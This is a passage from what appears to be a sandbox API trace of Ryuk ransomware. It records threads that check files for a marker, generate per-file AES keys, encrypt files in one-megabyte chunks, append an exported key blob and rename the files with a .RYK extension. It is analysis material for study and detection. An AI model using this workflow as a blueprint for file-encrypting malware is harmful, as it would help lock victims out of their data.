	[0283.505] WriteFile (in: hFile=0x904, lpBuffer=0x920f970*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x920f950, lpOverlapped=0x0 | out: lpBuffer=0x920f970*, lpNumberOfBytesWritten=0x920f950*=0x6, lpOverlapped=0x0) returned 1
	[0283.505] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x920f960 | out: pbData=0x0*, pdwDataLen=0x920f960*=0x10c) returned 1
	[0283.505] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x920f9d0, pdwDataLen=0x920f960 | out: pbData=0x920f9d0*, pdwDataLen=0x920f960*=0x10c) returned 1
	[0283.505] WriteFile (in: hFile=0x904, lpBuffer=0x920f9d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x920f950, lpOverlapped=0x0 | out: lpBuffer=0x920f9d0*, lpNumberOfBytesWritten=0x920f950*=0x10c, lpOverlapped=0x0) returned 1
	[0283.505] CloseHandle (hObject=0x904) returned 1
	[0283.507] CryptDestroyKey (hKey=0x3f7b60) returned 1
	[0283.507] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\frameiconcache.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\frameiconcache.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3977
	os_tid = 0x43b8

	[0283.481] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT.RYK", dwFileAttributes=0x80) returned 1
	[0283.481] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\msimgsiz.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904
	[0283.482] GetFileSizeEx (in: hFile=0x904, lpFileSize=0x930f878 | out: lpFileSize=0x930f878*=16674) returned 1
	[0283.482] GetFileSizeEx (in: hFile=0x904, lpFileSize=0x930f888 | out: lpFileSize=0x930f888*=16674) returned 1
	[0283.482] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x4000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0283.482] ReadFile (in: hFile=0x904, lpBuffer=0x930f8d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x930f840, lpOverlapped=0x0 | out: lpBuffer=0x930f8d0*, lpNumberOfBytesRead=0x930f840*=0x19, lpOverlapped=0x0) returned 1
	[0283.484] CloseHandle (hObject=0x904) returned 1

Thread:
	id = 3978
	os_tid = 0x43bc

	[0283.491] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", dwFileAttributes=0x80) returned 0
	[0283.491] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.491] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.491] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3979
	os_tid = 0x43c0

	[0283.503] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", dwFileAttributes=0x80) returned 0
	[0283.503] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.503] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.503] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3980
	os_tid = 0x43c4

	[0283.513] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", dwFileAttributes=0x80) returned 0
	[0283.513] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.513] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.513] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3981
	os_tid = 0x43c8

	[0283.525] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", dwFileAttributes=0x80) returned 0
	[0283.525] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.525] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.526] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3983
	os_tid = 0x43cc

	[0283.736] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb", dwFileAttributes=0x80) returned 1
	[0283.737] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8
	[0283.737] GetFileSizeEx (in: hFile=0x8a8, lpFileSize=0x95cfb58 | out: lpFileSize=0x95cfb58*=1069056) returned 1
	[0283.737] GetFileSizeEx (in: hFile=0x8a8, lpFileSize=0x95cfb68 | out: lpFileSize=0x95cfb68*=1069056) returned 1
	[0283.737] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x104ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0283.737] ReadFile (in: hFile=0x8a8, lpBuffer=0x95cfbb0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x95cfb20, lpOverlapped=0x0 | out: lpBuffer=0x95cfbb0*, lpNumberOfBytesRead=0x95cfb20*=0x19, lpOverlapped=0x0) returned 1
	[0283.740] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0283.740] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x95cfb38 | out: phKey=0x95cfb38*=0x3f7b60) returned 1
	[0283.740] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0283.741] ReadFile (in: hFile=0x8a8, lpBuffer=0x3480000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x95cfb44, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesRead=0x95cfb44*=0xf4240, lpOverlapped=0x0) returned 1
	[0283.757] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x95cfb40*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x95cfb40*=0xf4240) returned 1
	[0283.757] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3480000*, pdwDataLen=0x95cfb48*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3480000*, pdwDataLen=0x95cfb48*=0xf4240) returned 1
	[0283.766] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0283.766] WriteFile (in: hFile=0x8a8, lpBuffer=0x3480000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x95cfb44, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesWritten=0x95cfb44*=0xf4240, lpOverlapped=0x0) returned 1
	[0283.771] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0283.771] ReadFile (in: hFile=0x8a8, lpBuffer=0x3480000, nNumberOfBytesToRead=0x10dc0, lpNumberOfBytesRead=0x95cfb44, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesRead=0x95cfb44*=0x10dc0, lpOverlapped=0x0) returned 1
	[0284.025] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x95cfb40*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x95cfb40*=0xf4250) returned 1
	[0284.025] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3480000*, pdwDataLen=0x95cfb48*=0x10dc0, dwBufLen=0xf4250 | out: pbData=0x3480000*, pdwDataLen=0x95cfb48*=0x10dd0) returned 1
	[0284.025] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0284.026] WriteFile (in: hFile=0x8a8, lpBuffer=0x3480000*, nNumberOfBytesToWrite=0x10dd0, lpNumberOfBytesWritten=0x95cfb44, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesWritten=0x95cfb44*=0x10dd0, lpOverlapped=0x0) returned 1
	[0284.027] WriteFile (in: hFile=0x8a8, lpBuffer=0x95cfb70*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x95cfb50, lpOverlapped=0x0 | out: lpBuffer=0x95cfb70*, lpNumberOfBytesWritten=0x95cfb50*=0x6, lpOverlapped=0x0) returned 1
	[0284.027] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x95cfb60 | out: pbData=0x0*, pdwDataLen=0x95cfb60*=0x10c) returned 1
	[0284.027] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x95cfbd0, pdwDataLen=0x95cfb60 | out: pbData=0x95cfbd0*, pdwDataLen=0x95cfb60*=0x10c) returned 1
	[0284.027] WriteFile (in: hFile=0x8a8, lpBuffer=0x95cfbd0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x95cfb50, lpOverlapped=0x0 | out: lpBuffer=0x95cfbd0*, lpNumberOfBytesWritten=0x95cfb50*=0x10c, lpOverlapped=0x0) returned 1
	[0284.027] CloseHandle (hObject=0x8a8) returned 1
	[0284.041] CryptDestroyKey (hKey=0x3f7b60) returned 1
	[0284.041] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb.ryk"), dwFlags=0x8) 

Thread:
	id = 3984
	os_tid = 0x43d8

	[0283.772] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb.RYK", dwFileAttributes=0x80) returned 1
	[0283.773] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940
	[0283.773] GetFileSizeEx (in: hFile=0x940, lpFileSize=0x938fa98 | out: lpFileSize=0x938fa98*=70018) returned 1
	[0283.773] GetFileSizeEx (in: hFile=0x940, lpFileSize=0x938faa8 | out: lpFileSize=0x938faa8*=70018) returned 1
	[0283.773] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x11060, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0283.773] ReadFile (in: hFile=0x940, lpBuffer=0x938faf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x938fa60, lpOverlapped=0x0 | out: lpBuffer=0x938faf0*, lpNumberOfBytesRead=0x938fa60*=0x19, lpOverlapped=0x0) returned 1
	[0283.775] CloseHandle (hObject=0x940) returned 1

Thread:
	id = 3985
	os_tid = 0x43dc

	[0283.776] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0283.776] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.776] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.776] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3986
	os_tid = 0x43e0

	[0283.777] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl", dwFileAttributes=0x80) returned 0
	[0283.777] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.777] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.777] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3987
	os_tid = 0x43e4

	[0283.778] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl", dwFileAttributes=0x80) returned 0
